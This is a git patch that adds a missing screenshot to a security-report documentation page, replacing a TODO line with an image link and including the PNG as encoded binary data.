From 59202bf9df9b74c4e1df39473a53ca4a5f1cfe6b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 8 Feb 2023 11:37:17 +0530 Subject: [PATCH 0001/1338] Docs: Add missing security report segmentation issues screenshot --- docs/content/reports/security.md | 2 +- .../security_report_segmentation_issues.png | Bin 0 -> 162840 bytes 2 files changed, 1 insertion(+), 1 deletion(-) create mode 100644 docs/static/images/island/reports_page/security_report_segmentation_issues.png diff --git a/docs/content/reports/security.md b/docs/content/reports/security.md index b006d40286c..353bf3f0571 100644 --- a/docs/content/reports/security.md +++ b/docs/content/reports/security.md @@ -33,7 +33,7 @@ simulation took, and the configuration of the Agents. This section reports the segmentation issues in your network. -TODO: Add screenshot! +![Segmentation Issues](/images/island/reports_page/security_report_segmentation_issues.png "Segmentation Issues") ## Machine-related Recommendations diff --git a/docs/static/images/island/reports_page/security_report_segmentation_issues.png b/docs/static/images/island/reports_page/security_report_segmentation_issues.png new file mode 100644 index 0000000000000000000000000000000000000000..c296a9773e45bfaee00e268be247837355c23bef GIT binary patch literal 162840 zcmagFbzD?i8#aufAT5%T(jwhCgVK@$(%sS}-ICJXAq~xQc2&!xr2zF4ePz<2Qi?g~~BOaS{*iV&0yeJwWm1jNUp!bZ+ z6m9i75)OE!`wo4q_u%LD*UKBuvdg_Y!W^I8ru4E%shfJgpgx)9PZqeWtgIxpjb92^ zdRMzc@Ee?uDbCN&-A{+P&wg$^teidE$IWL`AY)=?Pdl~Pmjp6UJT{f@_p72znnwyA zJ;Kth^V=j=+lS=ef`Hb?`9;bJ^PNae{!uDO95PRF-MF-}2*Sa7Y{)`oQ1?Kv7rv~7 zMCYE%vy4BTadR=Myu?CQSmgGi)bx7u=gJ-1j!yL79;bDOqydlJ25B0gfJH^Ve%TqP zZoz&zzS#NV@wzBk7|_*eJl>yH=>B~A`vsK#RqjuJf4}S;F_@<5)t{! ziX#8rTm}9!uD?4OU!%MFYyAJ|C5lw8J^#Nu2|9Cr9NmAloLDekW}eLU_@VX0g<7>DwVc=NNk{XC z6y$nugac_JBO~8E%nOwp<1GI;IDAr@IrZWFRHp!}AZ%a%a-&npO7rk->9n3#3J3n< z%(%ae6AK9mxr0MD4T*XE>jf4;JivmQ3;#8>s~;sDM;AhY-0)}qdx9R%8=nytjF-Qj@NL1j*S>Hx#Ib090sZMn>MM zo$o+qrHVgQ*p@o>L@M=B&?NAs*y-AwCxMo8#+g`xcF>By;i zstcW;pI>D3mc^Ss&Aho~%SrTxiqFg_5nZfe-KF(G?}0uhcDyIZHe@*1&r z2`?8VdEI&bgQao0=CNyA1IrBRZ7KC1ODTUtPZzT?@gu&>q3BKjXjha)55Y?zi6AU{ z$xie0cu9L9mQ9|_AAXvFxWEsPlhYK3Yf2(Cm5vNbv|Cs()R1v??3KDuXerc91i6%}W;C`r#sy$znF0t-+oZ^`4`b7hJB9a&*d9^jU>r@f1$@s5x(Q_Rm@Qn4? zmlZv_v~+s~D9H9*VpDIE%Odb1O&Q23$&*sYr`EniZIwqU#R}l2ao6iy@b{FeR4m{0&i>UutwWZ}GALrI4o}A`n*j|T0WmMrjdVqCQ1Rw_ zGq+s9r|_bfi#_Q!r$G?hh$$m#L24PP8ym4!1u~$&*0%$yw;I`ruzW47%_lCWA_ z#z?R)e8i%vsI3)O$~{V_ z7Yys!Y;BK1LyhwfGgboh<=s_P@rPKsld2DgoMl@2pGzlTFm$FA+ghfal1+NyAR>nO61=$ z921l%lnLK%S6}om2QBH zv8XNStNxzNR>sNj2KqM5$1vI_)2$`hPLsI8q60QAkB+l$zIBMj6<4P5FJhx}*od?+ zJ-(7FlHgsYs@h5H7E?|STy3m;<7lK;0Y}Q6i$oivw%<0F_(fFBg2ztdOi@EfdlQkt zJUn_@({4H#l>fq@j|ysQAZ67^TZFH--yK52+Y#Di#tZ}WiF?a z8eAAdR?l;B<}~77IO0cgk|`7S(PkGmPrlbq4;;@_TQ|wkOdoy61rlBwUyNN>_i!rN zHf+sM&b4Vv>fgw7!6E#yoe?i(D+aDDC>3B%ai+1RYm~C9fT1z{ur-f)la-bAtBjQ5 z#Bwb75ArajMv)RD%_X~w?PqPfP#W_5^3-WDURo@~uB1juHaJACJ#EKuu4K5iPb?{> zV&2NXHC|!$8WBzPI0U@Soak&(I-C_d60hb?Bg= z(wY7&d`tVxAIYbGCT5rue7Ot4tm5e>zkkUj+c*}k3KcLVI1m?PYtl|5jULY z3(AtFDNa4nd7Zp{gnk1jZLFYP8^)#|J}YA7=mUK_7@ykRkgzCLvmN+?ll^77P_ zJl6`sUW*d~-P6cMrf1>p-X$u2C9O&;YJwt_I~1=-;453X8H~JiapB? z_~)%dK}l0`X{@vF-11^Fc4i2*N4qpHHOW@ zXjxXr1VVYmZ8ztS!fFKSLr(j@P{k}XC2Tz3MA{uU+^^RxBv0CpK382-Lu)S4^XmJm ztRelWLCYIA#!GgFfWa!uf%J1Q$_1{~-t-C0Q2#e#2HO?Hg14Ev6Q3=VDf0}Gvbk}& z4?(*PV6vr{BC$G1-w{_aGDT`C=-O~tRoFH?`))FJI;h)>*4Po5 zDI)ES337@Ue;?-))pF{QoO%xYlgV(nVKg0LNtbxWxOXRUo>;fZ&HqBWwGDywUWNRnc? zAVomb79Nt6$=|t=Q!j8AQmduyi+%`{2o0(Wgjr{Xvx)g+)~+lrZYTjZ z_;pnB6XxNMR(P5$LWGZxm^rGA!El{1SNAjGY^{P_vRMotYTuIX*&^-B?>|szuj0fG zir?6yymFy4G{n`d%ZpM<6v|u-8Z)F0P*|`kua!MmkmX`+U@dQ!WKiB8%I}Ip@Gp|6 zHsT2I$1A=dFvjQaXN@f<@9}ie87ku77Mn0k)Cq2!l1*^jt(UyxifysvEL5_Rd=kU@ zqhi$h+64=%Vc^rQ@*|{hclmMjv~Sc5WTj~Zhi#nw#CJ?`;PbLB_`3TLE=r^Gt%&cK z(232mF1i26yMs2}pblr+WxKUfv$2k~oa(dXxW$Ne@0F>Z8#5240qIIm97`>`;K3`d z)UP5bBvSZZQJ9Xh>Tj9pdL}96OB@nDepJN}@S7y|Cm-;eOnz>WU*5H0k4b8R?4JSu zt)D8z_sz}Z(qD-SeN?xf%Bj$2nyr$~(p67gWAME+fkt!c8BYjZLozSxzSk;8({jV}>V>2^NuzU@*=49e~n%bi-6)<=<~vx)a!bmjfk zBx!F@Ip-V{w~klaGEF}*>nVpDyKLbwq@~bCV+`a(Y1uN^X%<94WPLvOKPR|Ot!UAc z?A%0?8Ho>E1|07!<3c)`re{83u(A_gwsIs^80Ew?df=K*L>D?3N9l*dn;q8&)4k!0 z){2x09{b8j8J7woQoSxG8C5{)7ejcA?~Vq;Beb0sJ!Z{uN<>_daYk8F#y#FhCVCk3 zbvm2q>oC1wbN#&)k%_9HnraQ*jK-4Eb4jJAEc4 z0#U*986l-h)sJA|j2N*vso}O-_i0iCmt7q@-jnh)G`s%Fq;J5%ltU1^R}xza zQ}f`YL_V=3dp12Kq<8yu>xP|72<{CX|1595#4x)~>AhXeW{)AQi71%Pw14J@U4JdL zLGa14BOe{(k?yel7fT~c+8Yu}hMq%~$ONNK{o-z=MB&XL88jVRI1R;mH{1;TY-;}% z!BrqF9UTVX7mVJ-uh2@&!$Ud=HuP$%M_=z1`aNU_e9GG2PMZzeY2-A=Wgy{Pe~rZ zG(IuJPT@M(fuX-DnPE5i$YRf!vN>vq-L_swSEa@Zj~IiS!WgAQkJ%x7u~}YW{xvNI z?~piD@8+$swT{E}jIdPyXe}qy1IMT$MrFHwIdM23uIjqFVWmV`Tm4;Wr_jgjLtUmv zH(jUEEssvS5y&Gmj80Jyil=_eC5A@EtkqtGU1*!+Zd?s6{q@A=whkMFH1z$4#Fdt& z``4&#X=oW1lvTw9jn{Tn1+fCDM$ZgQ_{v8Zws4%-+{F-GjFM(b+r_@qgoJhZRu!t7 zoudTDsS|_y0v|rCy}2mGZ-M_Vj{-H1W-f7V0%+H4g*sXweZVX^L<| z=#Cog%|QUCkXv75R>(=flFXpWVBD(Y2Y@w6NzG4_Q~E({`n4QqvqNin)fHq}(yGN% z0Zt5!Ac8FE#8AXG-+3ibM#NAWYLHC;D#E}hT&rOp$mS@p9sKc;ApOc6Pnj0Kl zjN^GU_nxMVF1t%QKxJ$EpWp~e;f`S%uB>RzHz2AYw;F$T!Vl}kWUBz0< zd}9xuOu12%pC$6vJLb#@yAC!C*=-uE`@{1*RoG*qqP&)$a#c{%NshQ9Y^oAyQ({KS zkaAK?G(xxP&I=0qlJv--HMjs7FDfNaa&e$eU+q1^Go33$*&BL_86B+lRMXx>@Me(} zVG`i*3$X$K)1=-e^T7%ah!@`khhJZ7Apb#@f2>aZ;}PBTLdyx*Gt)%My2T5rbJd){ zz1QE`_7jlU?bwS--jbVtUL#F_%l49#4Y+9dn|j;n$8jIvtn-}T_%-3&m~bX83tzr_ zc~=O7ly7p)VmQ@>$^k!M1xCz%);llQy&c@4UlW}g9eS-%%1LA-N#halt$^!72KO;} zVm0s;8)}V*J5ku#{~1p|d**P49N7(Sj9BWE@0;$-OYRRCaI&cw=vS(b$<~}=;45S2 z*OGZe-L}|hQEkaO^mmWb0or=NY1$#F_rev-Z<^c7GmDR7dFv6Q{L@r~=)t+O-`F#Y zmliT&Ob7=?FQ9uyQ#mnc+Zs-ycRju7TXJ6EaNi56nYYZ`o_t(w(v-7ObsxsnLLgL* z#EZMgU4MsjcjMaNbi^x0>l(DJ1v&QpZ?-W<93UIv_UWOW3w21gheCta-<}6MidXF? zby8^vXdUw3MaAI6iP;|tF^_1~`)4hVfw#iy+>*c-MNF5N=;UUO_i2nh5SELpnNx;LY49hRq1*8z;*u!*-`Y1>5&xIC5&6>9f@)x7t?ZTVBm7Ht@hy=W2JV1$1i z3W&L=U|$Aya>aDX_|F;uA3(le<@6S}Am`Vx^hWbUo>l47=`E&(4wxmY%9pSmgVqk` z#%ZXtTM_6o?ow~D7K$h^Jq~;c&fMz4GO6D>9L%+sOGh?1J#5h;sCmpSf44In6tI8r zz|wF=gzQMyPVZVrp2Y*c z>b%|!y(Y=v+!4u#{qchTyhNpo0weuyO%g(Eg}0S5XJLOLO~AS3R?|Rc^179Y5KfaR zSHqKGp-kqw!sd{~z4Ur-|CXO_j%4xHL43nZBYwwnkRmYUiAT+d%lh z6DaOWxy2*W_7C;`{G*REXIT+0kz*C@&ib;_y_4kj+IiU~-$7zF{iR7PgfxvBDeHDl z>C?sLQu|f`FC=6G+6(hb_Z~eTi15cAYh0r3Lc_`9YH(Y2(Ut(=oh6F$z4W*#Sp@l6 z9nWrQTwC5Z#>O=i@H&O(+#FJ$_C9=da306K)M~cH>#SNne^4F%?O7u0ig|Lf&M|fL zl&s}>1n8WU9U|BzB-NIFwVWZ&ZoP%=uF9H`nMTm*LoMuVVW|Q+O#s7`CWG0b}YPBgdOwh4s$~5yp9O0 zsapKmozS9G9L^qnsQp{Z-Bij2XY=DK_6-ZQ=W{dy(Li~$M0artda}oea65v35RUOy zgh3Eb7VuBc-de96GWSv-;@IQ6R#@#h@jA6%&L0Dwmn;ZrYGfYd?y9uXOOi|ZD%kau zxN`zqHu64bsh{4CQ-H^c0W+NF=0JysA<88rW4VfUX^qw#N_#j@_Fh*nvn}D1GQ6)k zaoK%hoRp^LaI^OFQz?|@R1hj!C;XY`cVHu8)3E(3PN^1~8bcNRTPMGdq(yEPPLQcNS*>J6^zKkn4W znZ2y&E^<~%3xqN%%=5_Rp7knN)n_LinsA;)tE&bVC!N;l2EbOA>tI#=4XAbHu2o)r zD3Jocg}ynD(9(_=Y>QONk7m8vZx&+Ez6I=7qOUXB>)p8kwq&PX4er~6q;&fnbCD8p z2fQEizU1NOYU#BW#4!3a;vAsaulu9!*ma73e_5-XCuzFZJ~Qh zV`;@VEgzYvF^I9OrsCy9V?qpIg^i(wq@JdJcAF6yqt$oJ{9IPc zPGnxllnIfny94^#|2S~e#ha^GZ$yZ#557V~)bXZn##+d9vg)Nm5=1+LcEqpJ)!wUB zq2^smrinO^)xtMNf!Ob%Y%`S#?Ov_9cZ+U`bd}D`??b0X+glKo*2x(8xo1?giALosjY#fK&vTb3?j+;Msa)?bhUz*DDJw^+2g|PH=LhX49o5lyq3D) z-as9_{y9%4)&b&y@U^vyrxjFF8qEpQCd^ix;rU5??z$=TyrWhg2@VdK(i!G^&Z4HO z6sVAgNIxUqb;gvzpM=lD?!`&nSu^~@sUA+6|IHvO@_o4;n!AVZ`_Ae4AtGakE#Tf& zgVCzKvGO04T`u(0BL&_*Taz3NEdkZ6`4Y9aaVG{V3?tm~@;i&`!Ame6$nL|vu*>tx&jBfJNEwZ*p7d|sbi(ws6=_HP zqSCx*nWc-GvZCv525ycvZ=5(F_8CX5tRDL+IiRCB$({f1TC-P(>0nL42~+52DUhGW z6ME}j$uhZZ+9X_T?-xM!l-&1S;_tRu5MWadunOvtH=8Y>f?-dU=8u_2Re^skvvlAA zla|?4h4V2W7;864czA#y?x*O$YE8Qa{nxz5Mc+EicQRU6@Ub3UtD22m?taSH=xV?*721;!t;N2tdBEmxhjx;&cnre z@Ehewx%H&y$!6>XZIhnSYCpRkgV#g&_Zxa3NWxB>N3^yZlp;p~NOZPwoQ5KZU&hJ# zxE!v)9aX@MKx~;<*ffJuzWuL(Qm90H9VN8@vUx_CPNE~4H?YVCs_rtU$61RWcXNn# zlz!L4CN2N3*`@ zK^Kd?m2|O1K=uokgtS>7t1C8ATbqwu>f5&L1Uv_&q&C{1hMfA=Lu+U<4CY%y%{-;| zmaFOA0{?sO`fBj)Ovw^{y1f{8sEY4C%@-7h`$cw4VyOw$h zj@zdOmr&5q&p<+MFnpc~&_9`=kO8+oOE~U@Z;9^>j0qJE1Ku9e`8+ zcGwpt)xL%Pz3Y{zW6L*t{5htbw_4M*P3cCXx2-53Yq{ZjHb;0)dvKS>-#3L#v0Q< zP>w|2_kGBSn6#&#x!v_TKJ&v~1a<9A0co_{Q}0#Lmh#mwBnQg`$2C~fI#udh2wBJA z$RTNvCNl=ZDRrU-E?vPrm0Uy?-u#`(kJi1994At(CDi{yX26uNSG% zf?(6Dg(fFEhP0pmlrcn!0ds+WMBZNORIOg;t@Uop*N3Dd4r@R@yS^)W5QS0F;#vi3 zB8`wP^+P=`n5C~;{OhmCySg#kZ|~@Gj9U7EuaZ4E0zkGU;FpSdk@r>Tu@}GQe^$gD zI}W_)DSd06Km1-hoD3MKs`k>FWxkdH&($cIZB6=a9}l|?e#PBaQ(_qg-7umTnp;@5 zRB*nCh?Bf`i13|I3a-Q!e%^T5#ecR+g7R4gchnP)JylR0{My06UDU;{h%CIoOE1DR`<7<^^@+z84N6?<*HcuT;b3{yWFl`r(Al9jLpeiHL=BE zKDc2B)2-FfMMU9Wz{MDcn!x%RgQVcCRnY?-EwVqaA%bUM)WX{HviE+THjYGs4VTX( zv3prK8RL4z#IOh7Q8bJ5ly5}1*KcTXS%XH_p!`WDKEl`7iS>M;w%F;0`g3<^!Ht+r znW>EP{U#bHYIU|mBYrBgrzyv0d+VxvPJh+?JO))Cx~nGSw4wvpgy-lYXH%qWXuFf< zb7%1E>Yr2il;s`M-ouN|2Gr)SyNy871x`J>u*5R>^i}}=!fnpc(+T2@oS-`$0rBn2 z3R9^ChRFKvF&|{T*F548adO?eQ$;<|@W;Y4%vuNCvX(JFP?K4JB+)ZPQlKWAUquDj z1>Q9e?fSZxUuc0BeujX=&Az8yAjPAtutMJsc!HyMNu*rp%n|ryr`to%iPa)!`Wvl& zTT`){B&pREM3NZIsxr#Zj@UW((iYRrw3+a0rj{a59O_^B<*V{s$_G@Z=j=A$I`%WG z)tyEV7d{Dk&9vi5ntFosO7SJrsHynDfah>uKRrQp7AubV$`On%RAZe&&lXE#eAS(~ z_3_vudwN1k|D}Cb{8QF8xzWh|9c}q)M`vN0_L_kLC zGe>-d9IJJEj1NL@rBl+8mwiF%5gxw|(L~Q>eA%OuNJ1^RWP=QXT)-}v%o_-9KBFGj z1UC%UT_k$2Ieax@Zk*kx2wo=hlgWwAsbN58-ld;v zz10%;@s+mi8H;$1DC7LnTybk@B&>Tr>E?IJ(?>k@*mBS%y{zDG=wTdQORd%<)FT@F zi-E_E%m6WDe>D@8=OLOOaTl!A3WcnoOytw1>cVEqzH0mPUWKC;r)#_iSTZ9beg0S!3Tm!W&7!s9{LGO$?T)W;%@8%QOL2&~QUff>t zj0m2bEG&O5yl_sFN@6(x{fJ4|UEvQ2LgydOJck~^u-D$W>M;^cc&MzC%w54VTZS6! z+J`uUnFyPDuWw7bn~uA9!dt5XRm5sw4R*I2NL(Ww$L#o1baK&H$YUSgAEwO&01>Qh zLvb~x%FA#=(OQ8Q9Ou$HK*5FfV{pl6qX;!oRk?TTAzjiQL*KO{L)a;mo2<)~p8zP;~SC0DA_i$e( z-TP`uC)*@I7L>_mMb${kH(m$o5Mg({Z4a1CpW3Pmk>J75t!M23+;1@OvulzKqO)=>(l=tL@?=w>T;bAT`p!nRUNS)CE|&E z|8D(=Hi^5*^d-0>>I7qQbIm!BSw9={cH$|`u#E0Y7EETOcxiIRFRv@avy!fhCZ#Pw zJ9p7n`3*7;;Ss0pf^x6R=A?}lJ(^CSr+0@&eSW-XNpM4!x0e^4Ecyl!zebPot`!ks zTo`)`sxXJ$e+&EI6^~pH_-tun&ox>H?}MMeeOp$%&d|1qFk0nmC7K}FDRx$BQraBd z?xd}2+d`+CB8tHc@QFL)GtrEskBPxt%{_l$FCD;d5lvU1*0o0f2B3t*t2=hfQZw9! zB=?JJWw!LYiqQ&?+e6q1_t z3JkK&U!IE27S{^k#E)%jjHT>U9`vPOAXdel*~b`CCW}26TW= zUOSAbK}|n5=j*Q%c*O13n|ItpZR&?%UzrX* z@;HA+Qc_KR_RikU_Db?wgn}i}v5}8?^OnW*Gh(I=ZxvJU{eI3=U?ti?HZB6W zkJgH{&QhXAl{2>V1!8Czj5@GUua03{U2tgXtd>w)xxtpsJREJAHbr~mxM#Bhd$Sz8%7HBBAwAPZRotl|>apb8bo(1# zGQU_K8j8(Bn*QFk1Mi`&;+k+Ys+Q}ke?~El<>3lyf*L9KVD<)2)ak~JriBWbWh01H$Jvo5W}mjSglbs*je}Z2a8vqJ+i}^ zAOL+np1vM8e(HgIGdUpr5sy{_ObjG~+QUU)Lg$0-;k>VEbA#Z`;LX)JyJ^=eJl+M* z-g%Tigy{L^{g8*-3*fTXz}3J_xd8iNHgXd`61J^13ZSV4(9tdKlBMwLpZA!o0`~(i z08DS6)gAmXDrL<26k>U*dB}W!KEPK79?|pmt8ZJ8q)lC{@NsZ3X50Tzq8#AQ`um;= z+5N-V(i({qPJCBAUE7o|x`BCNY4}(fW20FnZ5-M0$xD1H@NiCe6&oToND`iQ#y;og zdE1dI0yrn;fZ`S3t|w1Rh;Up&M7qPFK9T_eC*?Q!ef_}G{f(GFt=OsduBZec1in!X zjzLPi)ZE*GrwA16KBa7LfEi$1qn90Amn>Z)^FQA>-n#Xz?~^YSAbW$2Dy6%-zC8T?sv01u z9`Yq?FkdZyM73*Z!nhH0`DUMBrA?0n1=6hZ5(a;z_Og>Fq~M*A!AA?P_(ETbS0Dp$ zJS8-$){xexZzN^ndMs7H$T25I{uaFh^`H_!nKq5?Ws(qJgAR<5WD+b*kL-T;iwjLu4{lgUH{c*Toy{y1UtPGrUI zig%|Q`m8zsv-pLI2+Q5ZQ*DWo{gdENQR!AtvdbEm(jldL#_$}Ezza`!0q@H*ZArO0 zK9`^5O|y!QgxhbPqEfP<6`;m03k(@hHmXKWUo(|4H@Y8GiPu)R?8%!^km_y(|6cwI z>H7$K!Z?vN({-$>I@A>V>Qk9&*IM=}e7qrgtyZhw4M87@V{Dp{nFZDIM%##-?)u9B z3^ql}0DpeWlb-r0zbBKWma%%qu9}M0y}X*rNSjgjZc$vCKA8r?<)85b-)0yG0jv~f zYuLt@q@DurC$_}GV(`y=MxN!H)@;3PRr1$E^RNPAw?4qrJB3~{do5%wZZ`}j)gSXN zUCknrTBwE3MBrP?n22vvkFy2Ho5Un?6db!&ZL;6?sUbc~t}OQnCG--^9w$tvMVw9K zUZVs{2hse(OIqp^AthGpJVHjlsS5~mP4@pF&P#;k_rjsvMn*0zCj%1VG>7;pm@Qw!ooc_>S%t$8=*n z_mK2`w%OYVxLY5U^ef?fQYYOtTKD>zNQ5|T027%CMg-^SsB|XyW<)xb?}R*G9lB&S zJ*HsGqrxJ3EyeHVOq+s=LN{k0Ta_R2(GhlX-MI1W-lM`|=z0hBBHlwf>xuwL; zaEsr{4?RN<{%V;J+2xyAZd?|k6DkD{)dn+r`*nXiqYTf)Mr_k)h@pf z`ms%p!z!ZCl2|fskr^?%^D6Hlb3a91KE%#fqB#&uJ$t4)Pw3j=jCXJB9zu!WatoQN z<@GEwXpqy<>)ficb=DZ>XOEX%`u9Le|Hw4Ok)gKIWNra$#?>>AK}aiQ!LO0vMUxC#$g%Ecv?lU9Wf4u^TEJW$1h=aE4~qTz$9VNsbp_!~#> z`60iB$2Zwoe|OW5w)8<$dwJbzlRNpBs1C%ToqeK))k~0nADZ|IFm6ZyT}8iL{tFOh z!7Jw^wdQOd#SdmfSxkstA&_$|9~bDd{R010>S)D&jh05P+EE}uD+?Du=D!zgk#qL= z^?v6By<+ZE(TeY3-MMnuK1uLCfqqY5DAb6m+=&Qj#Bt^)Nz@t9bDQMd@36v6Us3z( z1^zHj9h@W7UgzRY>{q{;qx(^J6v5bQg0ADW(C_7rDCfyZFp7iV*>b2zYf+`n>b`K@J z@u}OU*+#Du-l)SM?iC&Vl_nT;`X&lL%?nO>#8&V9h^PZ5Awd?e`i9*!2d zMg>7DPxri(dzyVmAGtb!UHr;K={CC9(zpOPz4d8DHa2K|n2y$3mN&$>eqK}QXDdb4 z@SajNmg@y_naLQMll?>X{Bw>+Uf5&9Be^vkz*hjquXAahiYNhC*}s_mVjb0Q)(=@AOc$#yOkWXBwc zA8jJ3dhbsaNDfDkY=_X3E#y{Qmq`uJ{=rfvj8(Je2sZMLO-kN-jB9n)%}~e^5zqE{ zddU;S7bH{tj&Q#BQQr{sZl=)pZT(NK{P3v1A{%V?1?p`vO<61=ZnC0T#{EW5I^w`{ ztgx%`O7w6X)3k?M_X0` zgf(EeB>bKi7@|ITEw0R>{Ch!RA!4GI|5$5jdQl^5j=MPkIjUcY&3V}jlr5NFR~&g; zBD}(b61msnsxM*dbe@orSlO-<1BDCy&i3Ux^MWAOkS zA6|()M1vFM#VsMW*gY%-rdXMmJV=g*6c)-@*NSs$sQ6sb{tp*8NS;?16Ri*8Ggj}*h zC#_ee5VpD5;=W}zs$OQl^1HiL>p@5BbaN+ik>Yw$tBW;($#j8ykHJ6`+;UA zsmZaNYiB}kej-TzW&I@$^_NmDU!H(azcnJ%!k(TV${IRi>W3ycs8>gn&(n;IKklUj z$!y@$JF@B3`sP%c4oMM>e&3!TUaIt&M!gSmT7Nl}kG{Xq)s=VBvl@|D{`m>E=eGVz zF>6-<=S2f+Xd(Nd!LT|c@RPMxd(&j&YqEg*OX2{>!(f%quNCo`Gq-)7?a!cwS~&cK z+(~==9*V#ZqqLGA#QsBoDZq#~Wr7sn{3CFTe*hv;!PJd97wgjD!Ee%p_RmGBR(sw! zgdP1rU{7uQH3-$be(<|_nk3T;zk{s}ovz(Ue&Rc-TqH*6iqx86`g)dqQQFHzqU~lz zCle@iR8dleAHBUHr8%IZvOYir&tG9=Omn89gmJNR(8cY1^W-$WYpfX38^pgnou_U! zTopvl}W`+X2` zCv&jM7<7^t+$U)Q5PP)Y-kzt zDTEe{h+##1sNl>IFrxY1!?QCf!_-%f^}1%!yvvqdvR5jOJsv{?b)NluRgiqdpddHz zLVEBzz`1?7wSW=DDz}Z)>zs~9Upns;UKXH+^{`#gDSI4K2@h7@eI50*y^MMBGh_hy z+x^OZ9r=Yk9@A1=y{Jwt-^#{Ok4|*mIZuT_{;{rR$m|hm{+B_nsi7rNhiwc`)>3-* zKaX8K(xY~#C=JzR*hGQ@4hB<|SKjn5GtzA+bdLbN8}j`!-(s;BwUw~z!uS6DUh0Ee zC{RRm!Vk8+7yNkMdaq}?lxo)+7Yzt0Pc_NsTFVlK%kJwS$B$_y<-s!$ay<5pG-EQq z$P<#GWBqD*nkn*;uYixOv)pTWa#1oz_6cI=!TU!n{r^<)EXy?Uu#f|sS=#vXJ1Ac-?u9T*~Yb%r$ji&HsE_@sBL^Ma0eh;-lq3_T!li0j8~XHS3Bwc%cj~ zWg=|b%?g(qsKrg^O1rW5j!VVubv?a`CMUUAq-|Qte*p3neEgHc;=7Hv=72k@Oh?k$ z6P!o78M?I5cwbET1kb~MfS}e3d!S^qreWDggY~^l9|GF-MX}1aHq%wgEXU9+A zgpt|h0%)L5#vBAd$07+gd)V5es1xBeF8BVXz1!H@kd1p28G-jA(7_0Z&R7F4!7pZ; zj|<9bTENmV?Qy5yGEbetVxLPUfO-KQ3Z1M9qUV;D^P1=ZH}J3w&NsCBrjg~Hs^z&lizT}~xu=Cz#%*wVFle}a0Wlm`UJ4`&rR*Tm+a zi}177MK7`%Y!jh7@_>8U+Dh@&W22>A=K{?sUs&)4A%Bk8T&f=r^8!iM z;fM9wfp(?I6=GhB)8)Zg@aVh8f~N)XbD-X+wBGBVq6*+c!%rMwFM;aBIR;FPBT=-X z5ckf}i;EeH!Bs$bEkhESuJF`T`}iamV3}R)2a;0MkvaB3grBL+03|+^hXkb!&{hE@ z840&^j*O=p=5GY1*Ljq2&o@T`TS_jGhDTbf7LUHH22G^30D9@aO;h9Va#pP>pu+L` zJpPGgIvJi$XYmKxpor#oB2d>u8M3Jzb7^ARWQ$&%+i>U~u{jv1fx9harQ%pRG&&-| zCjjoqfo7O8S>JS&Ay(Y!cBW?nYrq+pImp$e03h)1dfi(9P((mqS=)Trm+EhS0~9>w z?s^e%@io%61OU~5fLiQX!~_hQ!o$Tq|8ip=TU+i!X$-Jeg*<@natQ^59ZuPxw55e!%9qZQ1`JWsCLEkZ_*AB79X&fSRN7?cbjp>v3nrPKQSoF@=FwPDlVqjdD# zmsq<=kc{Un|Fv;x$nrw2N(|lp-?aeX16UKgHEcITZuH#TX&YH=dFP;hD8v0j=0E3G zz)mEXbC*xKxDDITN304Gdm4RVV@3mR732iVB`lFAdd>FQwjsJmhp|7|2F)ni?L62PC@nwFc$m87p03w z;Mo13pz=L|7xHqua-}SWZDCw>t(xYhC<1AdI+xk^KQmM^xAM1Owv{}Qqa!y?QZvY6 z{=2vR2{^7xy-PUkoQ!}L zne3c}BrjcHWc|-JjsSDU_;MZWzmR=tlSLKTdY4e6aghYGVU%Kjn4`929=?7Oc#rd& z+OlzXI^XBFpL);z??y@GhUPc_{rG-^Js>%D0^?p=$OX$hTtMf4nJTV&LL0ff^K8z2 zf?U(3numOaOC9PhS@HmK%jDfeb#3X*UXZ5;VV{=fz=pciggNfM- z`tg0d3dem(lu4%|@_fGC-8Og4+%Oq=$J)enQ`9)LS^99yjYt0FOf~6N4H3jD`R9}i ziiXOizxEceCv0LKlerVWJZ-xNh8(bpJz9h&{(AcMKcioG(&DhEXm$RDHfPU>3 z66UKJCWENRIZj|WW;li`UeFksCR<%?I=MC9wCHCVs`2_WSk zuo~i|v9f-QMwE&SC%SHc=zl z!K3^lcMgKG@lWlpgLAw0GSW`BPH?3XKDlT&u1s%ok>4Ho3ApDT>*#!O&d|9{$UO*i zkM&^j^L<##h`e_sB~XB@HUl35dNq~)MdXhQHwc(4LTcmhz@$A2>FNG`$*m&T<8RF8 z1t0u?!w)UAZmrknObe(3_QiPb_Eg3^_8F zJxHKE9(PwQu0Z6nNG^5k^CmJhNi+GdDGEDh&FHvj`L&k=cF*0pGv{uRSvszr4)~`a z16b^+^h_Y|Ib~h(%RtKRHoPi1PAObM1{XR;p&rvc?cDc6s+f~$d+BA%KtEvULkPXH zT_gGJ5Xe)mF|VPS`HTW@zzf*=`Um@ch!{e`g2+ zW_Zyud6ot|1Q?W9#8_)r>ddhQsq@L50I9sIrMX$YENng8I^Ak=07BEgFXZyt{tiaa z`+L*YMBCzc?(v=G5UQt6JNyBkK75(xq67!hP>7;5Ma>Fx#r z=@?*W-s7*H=Y6m5zwcaJ)SPSPoU`}7?|ZMc_S&g67ESyqkGq1U0yq7at6>M1IFLd? zV9@ZMPtsNU4GjMCQ(; zS^gpqIXj>|6=N#W1=pbM2_Hn5tQ(;0M?k_$c zY6Sd=LRUYzDTuDCb><D8D$wNNBbGXHfLscI}PnTd&?K4fThhy`+S!r72CpScsBvU`xs zdG;XyJO-(nutc`V0)JErY+**FP{~e--_MkeR5AoQM88z8+nv~B;ipd5?gFo`2> zFArJwSF=u~1or}&(~hjq$6=M49c|WO#Me2O0lL#lMhzwB;PmZBNGs>xAO8;F3toR^ z&!ypMHftlJhGR$kTekcJKTv5-AW7XiNf~{>nA%~Ds$p;Hax6=&z5hgEB}YzbIhrZC z{T)~OCr6JwdhY1A%6&~s#`@k~mYh^MG4Tmjd|w2wdv9z--G^G*M-C44p+&ur7Xh=l zn$IJ*w@a%=46e1jPqp5W1Fojah!*8Wpk$Q^t8)l)f&y}hAP zRpnUYWR20|*T1uZ?+ggxCx(0xu*4fhRdWsrL&gwxn75fr%OAk(nDfGGD$FS8tdhMA z;0FPTU$bDcUoRVKDu{8)`Jn#dlkyH<$siAQaU~ato-|dP2xcstp`MTUHr~!dBQT!E zgwP&nO=DTEwUF?`pbf5ymGR}j@e-ZN;CFZ@s`kiu=t@R=|`d=tS0!<2e8an z#=c3rGX(uy8}hOerYbsQ0lh}4YpAad_s&Zrj;V=fNG792VfHrguGbbtzm)M)M|NmA z??37OTC@71@Wa>A@oxT~!c9oyooKt)F&b0jnSZ%J5fN=$=&x%?@Vy+o<1)SmA{>xX 